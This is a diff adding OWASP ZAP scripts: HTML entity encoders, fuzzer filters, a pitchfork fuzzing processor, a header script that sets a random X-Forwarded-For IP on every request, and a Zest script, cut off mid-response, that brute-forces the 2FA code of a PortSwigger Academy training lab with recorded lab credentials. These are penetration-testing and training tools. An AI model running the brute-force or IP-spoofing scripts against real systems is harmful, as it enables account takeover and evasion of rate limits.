diff --git a/encode-decode/decodeHTMLEntitities.js b/encode-decode/decodeHTMLEntitities.js new file mode 100644 index 00000000..988d36e0 --- /dev/null +++ b/encode-decode/decodeHTMLEntitities.js @@ -0,0 +1,292 @@ +# @author Timothée Ruffenach +# Version 1.0 +# decode HTML Entities + +/** + * Process the input value and return the encoded/decoded/hashed etc. value + * + * Use helper.newError("Error Description") to provide an error description + * inside the result view. + * + * @param {EncodeDecodeScriptHelper} helper - A helper object with various utility methods. + * For more details see https://github.com/zaproxy/zap-extensions/tree/main/addOns/encoder/src/main/java/org/zaproxy/addon/encoder/processors/script/EncodeDecodeScriptHelper.java + * @param {String} value - The input value + * @returns {EncodeDecodeResult} - The value that was encoded/decoded/hashed etc. easiest via helper.newResult(result). + */ +function process(helper, value){ + return helper.newResult(HtmlEntities.decode(value)); +} + +var HtmlEntities = function() {}; + +HtmlEntities.map = { + "'": "'", + "<": "<", + ">": ">", + " ": " ", + "¡": "¡", + "¢": "¢", + "£": "£", + "¤": "¤", + "¥": "¥", + "¦": "¦", + "§": "§", + "¨": "¨", + "©": "©", + "ª": "ª", + "«": "«", + "¬": "¬", + "®": "®", + "¯": "¯", + "°": "°", + "±": "±", + "²": "²", + "³": "³", + "´": "´", + "µ": "µ", + "¶": "¶", + "·": "·", + "¸": "¸", + "¹": "¹", + "º": "º", + "»": "»", + "¼": "¼", + "½": "½", + "¾": "¾", + "¿": "¿", + "À": "À", + "Á": "Á", + "Â": "Â", + "Ã": "Ã", + "Ä": "Ä", + "Å": "Å", + "Æ": "Æ", + "Ç": "Ç", + "È": "È", + "É": "É", + "Ê": "Ê", + "Ë": "Ë", + "Ì": "Ì", + "Í": "Í", + "Î": "Î", + "Ï": "Ï", + "Ð": "Ð", + "Ñ": "Ñ", + "Ò": "Ò", + "Ó": "Ó", + "Ô": "Ô", + "Õ": "Õ", + "Ö": "Ö", + "×": "×", + "Ø": "Ø", + "Ù": "Ù", + "Ú": "Ú", + "Û": "Û", + "Ü": "Ü", + "Ý": "Ý", + "Þ": "Þ", + "ß": "ß", + "à": "à", + "á": "á", + "â": "â", + "ã": "ã", + "ä": "ä", + "å": "å", + "æ": "æ", + "ç": "ç", + "è": "è", + "é": "é", + "ê": "ê", + "ë": "ë", + "ì": "ì", + "í": "í", + "î": "î", + "ï": "ï", + "ð": "ð", + "ñ": "ñ", + "ò": "ò", + "ó": "ó", + "ô": "ô", + "õ": "õ", + "ö": "ö", + "÷": "÷", + "ø": "ø", + "ù": "ù", + "ú": "ú", + "û": "û", + "ü": "ü", + "ý": "ý", + "þ": "þ", + "ÿ": "ÿ", + "Œ": "Œ", + "œ": "œ", + "Š": "Š", + "š": "š", + "Ÿ": "Ÿ", + "ƒ": "ƒ", + "ˆ": "ˆ", + "˜": "˜", + "Α": "Α", + "Β": "Β", + "Γ": "Γ", + "Δ": "Δ", + "Ε": "Ε", + "Ζ": "Ζ", + "Η": "Η", + "Θ": "Θ", + "Ι": "Ι", + "Κ": "Κ", + "Λ": "Λ", + "Μ": "Μ", + "Ν": "Ν", + "Ξ": "Ξ", + "Ο": "Ο", + "Π": "Π", + "Ρ": "Ρ", + "Σ": "Σ", + "Τ": "Τ", + "Υ": "Υ", + "Φ": "Φ", + "Χ": "Χ", + "Ψ": "Ψ", + "Ω": "Ω", + "α": "α", + "β": "β", + "γ": "γ", + "δ": "δ", + "ε": "ε", + "ζ": "ζ", + "η": "η", + "θ": "θ", + "ι": "ι", + "κ": "κ", + "λ": "λ", + "μ": "μ", + "ν": "ν", + "ξ": "ξ", + "ο": "ο", + "π": "π", + "ρ": "ρ", + "ς": "ς", + "σ": "σ", + "τ": "τ", + "υ": "υ", + "φ": "φ", + "χ": "χ", + "ψ": "ψ", + "ω": "ω", + "ϑ": "ϑ", + "ϒ": "&Upsih;", + "ϖ": "ϖ", + "–": "–", + "—": "—", + "‘": "‘", + "’": "’", + "‚": "‚", + "“": "“", + "”": "”", + "„": "„", + "†": "†", + "‡": "‡", + "•": "•", + "…": "…", + "‰": "‰", + "′": "′", + "″": "″", + "‹": "‹", + "›": "›", + "‾": "‾", + "⁄": "⁄", + "€": "€", + "ℑ": "ℑ", + "℘": "℘", + "ℜ": "ℜ", + "™": "™", + "ℵ": "ℵ", + "←": "←", + "↑": "↑", + "→": "→", + "↓": "↓", + "↔": "↔", + "↵": "↵", + "⇐": "⇐", + "⇑": "&UArr;", + "⇒": "⇒", + "⇓": "⇓", + "⇔": "⇔", + "∀": "∀", + "∂": "∂", + "∃": "∃", + "∅": "∅", + "∇": "∇", + "∈": "∈", + "∉": "∉", + "∋": "∋", + "∏": "∏", + "∑": "∑", + "−": "−", + "∗": "∗", + "√": "√", + "∝": "∝", + "∞": "∞", + "∠": "∠", + "∧": "∧", + "∨": "∨", + "∩": "∩", + "∪": "∪", + "∫": "∫", + "∴": "∴", + "∼": "∼", + "≅": "≅", + "≈": "≈", + "≠": "≠", + "≡": "≡", + "≤": "≤", + "≥": "≥", + "⊂": "⊂", + "⊃": "⊃", + "⊄": "⊄", + "⊆": "⊆", + "⊇": "⊇", + "⊕": "⊕", + "⊗": "⊗", + "⊥": "⊥", + "⋅": "⋅", + "⌈": "⌈", + "⌉": "⌉", + "⌊": "⌊", + "⌋": "⌋", + "⟨": "〈", + "⟩": "〉", + "◊": "◊", + "♠": "♠", + "♣": "♣", + "♥": "♥", + "♦": "♦" +}; + +HtmlEntities.decode = function(string) { + var entityMap = HtmlEntities.map; + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(entity, 'g'); + string = string.replace(regex, key); + } + string = string.replace(/"/g, '"'); + string = string.replace(/&/g, '&'); + return string; +} + +HtmlEntities.encode = function(string) { + var entityMap = HtmlEntities.map; + string = string.replace(/&/g, '&'); + string = string.replace(/"/g, '"'); + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(key, 'g'); + string = string.replace(regex, entity); + } + return string; +} + + diff --git a/encode-decode/encodeHTMLEntitities .js b/encode-decode/encodeHTMLEntitities .js new file mode 100644 index 00000000..9411920b --- /dev/null +++ b/encode-decode/encodeHTMLEntitities .js @@ -0,0 +1,292 @@ +# @author Timothée Ruffenach +# Version 1.0 +# encode HTML Entities + +/** + * Process the input value and return the encoded/decoded/hashed etc. value + * + * Use helper.newError("Error Description") to provide an error description + * inside the result view. + * + * @param {EncodeDecodeScriptHelper} helper - A helper object with various utility methods. + * For more details see https://github.com/zaproxy/zap-extensions/tree/main/addOns/encoder/src/main/java/org/zaproxy/addon/encoder/processors/script/EncodeDecodeScriptHelper.java + * @param {String} value - The input value + * @returns {EncodeDecodeResult} - The value that was encoded/decoded/hashed etc. easiest via helper.newResult(result). + */ +function process(helper, value){ + return helper.newResult(HtmlEntities.encode(value)); +} + +var HtmlEntities = function() {}; + +HtmlEntities.map = { + "'": "'", + "<": "<", + ">": ">", + " ": " ", + "¡": "¡", + "¢": "¢", + "£": "£", + "¤": "¤", + "¥": "¥", + "¦": "¦", + "§": "§", + "¨": "¨", + "©": "©", + "ª": "ª", + "«": "«", + "¬": "¬", + "®": "®", + "¯": "¯", + "°": "°", + "±": "±", + "²": "²", + "³": "³", + "´": "´", + "µ": "µ", + "¶": "¶", + "·": "·", + "¸": "¸", + "¹": "¹", + "º": "º", + "»": "»", + "¼": "¼", + "½": "½", + "¾": "¾", + "¿": "¿", + "À": "À", + "Á": "Á", + "Â": "Â", + "Ã": "Ã", + "Ä": "Ä", + "Å": "Å", + "Æ": "Æ", + "Ç": "Ç", + "È": "È", + "É": "É", + "Ê": "Ê", + "Ë": "Ë", + "Ì": "Ì", + "Í": "Í", + "Î": "Î", + "Ï": "Ï", + "Ð": "Ð", + "Ñ": "Ñ", + "Ò": "Ò", + "Ó": "Ó", + "Ô": "Ô", + "Õ": "Õ", + "Ö": "Ö", + "×": "×", + "Ø": "Ø", + "Ù": "Ù", + "Ú": "Ú", + "Û": "Û", + "Ü": "Ü", + "Ý": "Ý", + "Þ": "Þ", + "ß": "ß", + "à": "à", + "á": "á", + "â": "â", + "ã": "ã", + "ä": "ä", + "å": "å", + "æ": "æ", + "ç": "ç", + "è": "è", + "é": "é", + "ê": "ê", + "ë": "ë", + "ì": "ì", + "í": "í", + "î": "î", + "ï": "ï", + "ð": "ð", + "ñ": "ñ", + "ò": "ò", + "ó": "ó", + "ô": "ô", + "õ": "õ", + "ö": "ö", + "÷": "÷", + "ø": "ø", + "ù": "ù", + "ú": "ú", + "û": "û", + "ü": "ü", + "ý": "ý", + "þ": "þ", + "ÿ": "ÿ", + "Œ": "Œ", + "œ": "œ", + "Š": "Š", + "š": "š", + "Ÿ": "Ÿ", + "ƒ": "ƒ", + "ˆ": "ˆ", + "˜": "˜", + "Α": "Α", + "Β": "Β", + "Γ": "Γ", + "Δ": "Δ", + "Ε": "Ε", + "Ζ": "Ζ", + "Η": "Η", + "Θ": "Θ", + "Ι": "Ι", + "Κ": "Κ", + "Λ": "Λ", + "Μ": "Μ", + "Ν": "Ν", + "Ξ": "Ξ", + "Ο": "Ο", + "Π": "Π", + "Ρ": "Ρ", + "Σ": "Σ", + "Τ": "Τ", + "Υ": "Υ", + "Φ": "Φ", + "Χ": "Χ", + "Ψ": "Ψ", + "Ω": "Ω", + "α": "α", + "β": "β", + "γ": "γ", + "δ": "δ", + "ε": "ε", + "ζ": "ζ", + "η": "η", + "θ": "θ", + "ι": "ι", + "κ": "κ", + "λ": "λ", + "μ": "μ", + "ν": "ν", + "ξ": "ξ", + "ο": "ο", + "π": "π", + "ρ": "ρ", + "ς": "ς", + "σ": "σ", + "τ": "τ", + "υ": "υ", + "φ": "φ", + "χ": "χ", + "ψ": "ψ", + "ω": "ω", + "ϑ": "ϑ", + "ϒ": "&Upsih;", + "ϖ": "ϖ", + "–": "–", + "—": "—", + "‘": "‘", + "’": "’", + "‚": "‚", + "“": "“", + "”": "”", + "„": "„", + "†": "†", + "‡": "‡", + "•": "•", + "…": "…", + "‰": "‰", + "′": "′", + "″": "″", + "‹": "‹", + "›": "›", + "‾": "‾", + "⁄": "⁄", + "€": "€", + "ℑ": "ℑ", + "℘": "℘", + "ℜ": "ℜ", + "™": "™", + "ℵ": "ℵ", + "←": "←", + "↑": "↑", + "→": "→", + "↓": "↓", + "↔": "↔", + "↵": "↵", + "⇐": "⇐", + "⇑": "&UArr;", + "⇒": "⇒", + "⇓": "⇓", + "⇔": "⇔", + "∀": "∀", + "∂": "∂", + "∃": "∃", + "∅": "∅", + "∇": "∇", + "∈": "∈", + "∉": "∉", + "∋": "∋", + "∏": "∏", + "∑": "∑", + "−": "−", + "∗": "∗", + "√": "√", + "∝": "∝", + "∞": "∞", + "∠": "∠", + "∧": "∧", + "∨": "∨", + "∩": "∩", + "∪": "∪", + "∫": "∫", + "∴": "∴", + "∼": "∼", + "≅": "≅", + "≈": "≈", + "≠": "≠", + "≡": "≡", + "≤": "≤", + "≥": "≥", + "⊂": "⊂", + "⊃": "⊃", + "⊄": "⊄", + "⊆": "⊆", + "⊇": "⊇", + "⊕": "⊕", + "⊗": "⊗", + "⊥": "⊥", + "⋅": "⋅", + "⌈": "⌈", + "⌉": "⌉", + "⌊": "⌊", + "⌋": "⌋", + "⟨": "〈", + "⟩": "〉", + "◊": "◊", + "♠": "♠", + "♣": "♣", + "♥": "♥", + "♦": "♦" +}; + +HtmlEntities.decode = function(string) { + var entityMap = HtmlEntities.map; + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(entity, 'g'); + string = string.replace(regex, key); + } + string = string.replace(/"/g, '"'); + string = string.replace(/&/g, '&'); + return string; +} + +HtmlEntities.encode = function(string) { + var entityMap = HtmlEntities.map; + string = string.replace(/&/g, '&'); + string = string.replace(/"/g, '"'); + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(key, 'g'); + string = string.replace(regex, entity); + } + return string; +} + + diff --git a/httpfuzzerprocessor/RTT_time_filter.py b/httpfuzzerprocessor/RTT_time_filter.py new file mode 100644 index 00000000..5a40e396 --- /dev/null +++ b/httpfuzzerprocessor/RTT_time_filter.py @@ -0,0 +1,53 @@ +# Version 1.1 +# @author RUFFENACH Timothée +# filter by RTT (time request). + +from javax.swing import JFrame, JPanel, JComboBox, JOptionPane,JFileChooser,JOptionPane + +# Auxiliary variables/constants needed for processing. +global time,choice,init; +init = False + +def getNumber(min,max,asked): + number = JOptionPane.showInputDialog(None, asked, "Input", JOptionPane.QUESTION_MESSAGE) + + if int(number) >= min and int(number) <= max: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between " + min + " to " + max) + getNumber() + +# Called after injecting the payloads and before forward the message to the server. +def processMessage(utils, message): + global init; + if (init == False): + shouldInit() + +# Initialisation +def shouldInit(): + global time, choice,init; + options = ["MORE", "LESS"] # choice options + + time = getNumber(1,50000,"What is the value of RTT (Raquest and Response Timing) do you want ?") + + choice = JOptionPane.showOptionDialog( + None, "Do want the value to be greater or equal than to the previous input (MORE) or smaller or equal (LESS)", + "Confirm", + JOptionPane.YES_NO_OPTION, + JOptionPane.QUESTION_MESSAGE, + None, + options, + options[0] + ) + init = True + +# Called after receiving the fuzzed message from the server +def processResult(utils, fuzzResult): + global choice, time; + if choice == JOptionPane.YES_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) >= time): + return True + elif choice == JOptionPane.NO_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) <= time): + return True + else: + return False \ No newline at end of file diff --git a/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py new file mode 100644 index 00000000..5ec82084 --- /dev/null +++ b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py @@ -0,0 +1,51 @@ +# @author Timothée Ruffenach +# Version 1.1 +# filters the fuzzing result with a string. + +from javax.swing import JOptionPane + + +# global variable +init = False +entry = "" +choice = False + +# Called after injecting the payloads and before forward the message to the server. +def processMessage(utils, message) : + global number,payloads + if not init: + initialise() + + +def initialise(): + global init,entry,choice + + entry = "" + + # ask stings to find + while entry == "": + entry = getString("What character string do you want to find ?") + if entry == "": + JOptionPane.showMessageDialog(None, "Empty string","Warning", JOptionPane.WARNING_MESSAGE) + # ask reverse message + choice = JOptionPane.showConfirmDialog(None, "Do you want to reverse the search result ?", "Confim", JOptionPane.YES_NO_OPTION) + + init = True + +# Called after receiving the fuzzed message from the server +def processResult(utils, fuzzResult) : + global entry,choice + body = fuzzResult.getHttpMessage().getResponseBody().toString() + + # test all posibility + if choice == JOptionPane.NO_OPTION and entry in body: + return True; + elif choice == JOptionPane.YES_OPTION and not entry in body: + return True; + else: + return False; + +# Question +def getString(question): + stringInput = JOptionPane.showInputDialog(None, question, "Input", JOptionPane.QUESTION_MESSAGE) + return stringInput diff --git a/httpfuzzerprocessor/pitchWork.py b/httpfuzzerprocessor/pitchWork.py new file mode 100644 index 00000000..c51e7b01 --- /dev/null +++ b/httpfuzzerprocessor/pitchWork.py @@ -0,0 +1,97 @@ +# Version 1.1 +# @author RUFFENACH Timothée +# Script inspired from https://02108124551050482571.googlegroups.com/attach/54c6e34f6fe20/message_processor.js?part=0.1&view=1&vt=ANaJVrEJuACewYorhYYa_zyhyMSug06pmlERCqfYdLsukQBC3OW3LATuXG1WHk_Fw9a0nhexG8ykFDuFgBGYrKAg_pOQ61M36MwC9SOBGvK4KLZn3eDkNzY (dot run on owasp 2.12.0) +# To resolve problem at from https://github.com/zaproxy/zaproxy/issues/2967 +# The script fuzz in mode pitchfork. +# To Use : Enable script. +# In fuzzer Add number multiple EmptyNull payloads with a good number of iterations. +# Select the desired number of payloads [limit 2 to 20] +# Select the desired number of files [limit 2 to 20] + +from java.nio.file import Paths +from javax.swing import JFileChooser +from javax.swing import JOptionPane +from org.zaproxy.zap.extension.fuzz.payloads.generator import FileStringPayloadGenerator + +payloads1 = None +payloads2 = None +init = False + +def processMessage(utils, message): + global number, payloads, init + + if not init: + initialise() + + # Stop if has end of payloads + for i in range(number): + # if end of payload stop fuzzing + if not payloads[i].hasNext(): + utils.stopFuzzer() + # close all payload + for j in range(number): + payloads.close() + return + + for i in range(number): + # Get the next value of payloads + # Get information of body and replace with payload value + payloadNext = payloads[i].next().getValue() + body = message.getRequestBody().toString() + body = body.replace(utils.getPaylaods().get(i).getValue(), payloadNext) + # Set payload value to show in Fuzzer + utils.getPaylaods().set(i,payloadNext) + # set payload in body + message.getRequestBody().setBody(body) + message.getRequestHeader().setContentLength(message.getRequestBody().length()) + +def processResult(utils, fuzzResult): + return True + +def chooseFile(): + fileChooser = JFileChooser() + fileChooser.setMultiSelectionEnabled(True) + filePath = "" + result = fileChooser.showOpenDialog(None) + + if result == JFileChooser.APPROVE_OPTION: + selectedFiles = fileChooser.getSelectedFiles() + for file in selectedFiles: + filePath = file.getAbsolutePath() + print('The path is :', filePath) + + return filePath + +def chooseNumber(): + number = JOptionPane.showInputDialog(None, "How many payload do you want [2 to 20]:", "Input", JOptionPane.QUESTION_MESSAGE) + + # Check number between 2 to 20 + if int(number) > 1 and int(number) < 21: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between 2 to 20") + chooseNumber() + +def initialise(): + global init + global payloads + global number + + payloads = [] + filePaths = [] + + # input number of payloads + number = -1 + while number == -1: + number = chooseNumber() + + # add files chosen by the user + for i in range(number): + filePaths.append(chooseFile()) + + # Get payload in file to var payloads + for i in range(number): + payloads.append(FileStringPayloadGenerator(Paths.get(filePaths[i])).iterator()) + + init = True diff --git a/httpsender/AddHeaderXForwardedForRandomIP.js b/httpsender/AddHeaderXForwardedForRandomIP.js new file mode 100644 index 00000000..97f181d2 --- /dev/null +++ b/httpsender/AddHeaderXForwardedForRandomIP.js @@ -0,0 +1,26 @@ +// @author Ruffenach Timothée +// The original script comes from the Fuzzer HTTP Processor section under the name random_x_forwarded_for_ip.js +// Add in Header response X-Forwarded-For: Random IP +// The sendingRequest and responseReceived functions will be called for all requests/responses sent/received by ZAP, +// including automated tools (e.g. active scanner, fuzzer, ...) + +// Note that new HttpSender scripts will initially be disabled +// Right click the script in the Scripts tree and select "enable" + +// For the latest list of 'initiator' values see the HttpSender class: +// https://github.com/zaproxy/zaproxy/blob/main/zap/src/main/java/org/parosproxy/paros/network/HttpSender.java +// 'helper' just has one method at the moment: helper.getHttpSender() which returns the HttpSender +// instance used to send the request. + +// In order to facilitate identifying ZAP traffic and Web Application Firewall exceptions, ZAP is accompanied +// by this script which can be used to add a specific header to all traffic that passes through +// or originates from ZAP. e.g.: X-ZAP-Initiator: 3 + +function sendingRequest(msg, initiator, helper) { + var random_ip = Math.floor(Math.random() * 254)+ "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254); + msg.getRequestHeader().setHeader("X-Forwarded-For", random_ip); +} + +function responseReceived(msg, initiator, helper) { + // Nothing to do here +} diff --git a/payloadprocessor/full_HTML_encode.py b/payloadprocessor/full_HTML_encode.py new file mode 100644 index 00000000..cfa1eb64 --- /dev/null +++ b/payloadprocessor/full_HTML_encode.py @@ -0,0 +1,14 @@ +# @author RUFFENACH timothée +# Version 1.0 +# encode payload to full HTML encode + +def process(payload): + payloadEncode="" + + # convert to full HTML + for i in payload: + payloadEncode += "" + payloadEncode += str(ord(i)) + payloadEncode += ";" + + return payloadEncode diff --git a/standalone/2FABypassBruteForceLabAcademy.zst b/standalone/2FABypassBruteForceLabAcademy.zst new file mode 100644 index 00000000..229a05d4 --- /dev/null +++ b/standalone/2FABypassBruteForceLabAcademy.zst @@ -0,0 +1,489 @@ +{ + "about": "This is a Zest script. For more details about Zest visit https://github.com/zaproxy/zest/", + "zestVersion": "0.8", + "title": "test3.zst", + "description": "", + "prefix": "https://0ae2002603a306668094db77005f002c.web-security-academy.net", + "type": "StandAlone", + "parameters": { + "tokenStart": "{{", + "tokenEnd": "}}", + "tokens": {}, + "elementType": "ZestVariables" + }, + "statements": [ + { + "set": { + "start": 0, + "end": 9999, + "step": 2, + "elementType": "ZestLoopTokenIntegerSet" + }, + "statements": [ + { + "rootExpression": { + "length": 1, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "000", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 0, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 2, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "00", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 0, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 3, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "0", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 0, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [], + "index": 6, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 4, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 1, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3154\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003ch1\u003eLogin\u003c/h1\u003e\n \u003csection\u003e\n \u003cform class\u003dlogin-form method\u003dPOST action\u003d\"/login\"\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"k3IFSvZarbztPrCztRgCDmezFpy1KXOX\"\u003e\n \u003clabel\u003eUsername\u003c/label\u003e\n \u003cinput required type\u003dusername name\u003d\"username\"\u003e\n \u003clabel\u003ePassword\u003c/label\u003e\n \u003cinput required type\u003dpassword name\u003d\"password\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Log in \u003c/button\u003e\n \u003c/form\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 213, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686497551111, + "cookies": [], + "index": 2, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf1", + "index": 3, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login", + "data": "csrf\u003d{{csrf1}}\u0026username\u003dcarlos\u0026password\u003dmontoya", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 70\r\nOrigin: https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login", + "headers": "HTTP/1.1 302 Found\nLocation: /login2\nSet-Cookie: session\u003dTsXGjkOG3T4NHNlXoBvLI5CCGPE9Vpiw; Secure; HttpOnly; SameSite\u003dNone\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 172, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686497563613, + "cookies": [], + "index": 4, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login2", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login2", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3005\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca id\u003d\u0027lab-link\u0027 class\u003d\u0027button\u0027 href\u003d\u0027/\u0027\u003eBack to lab home\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 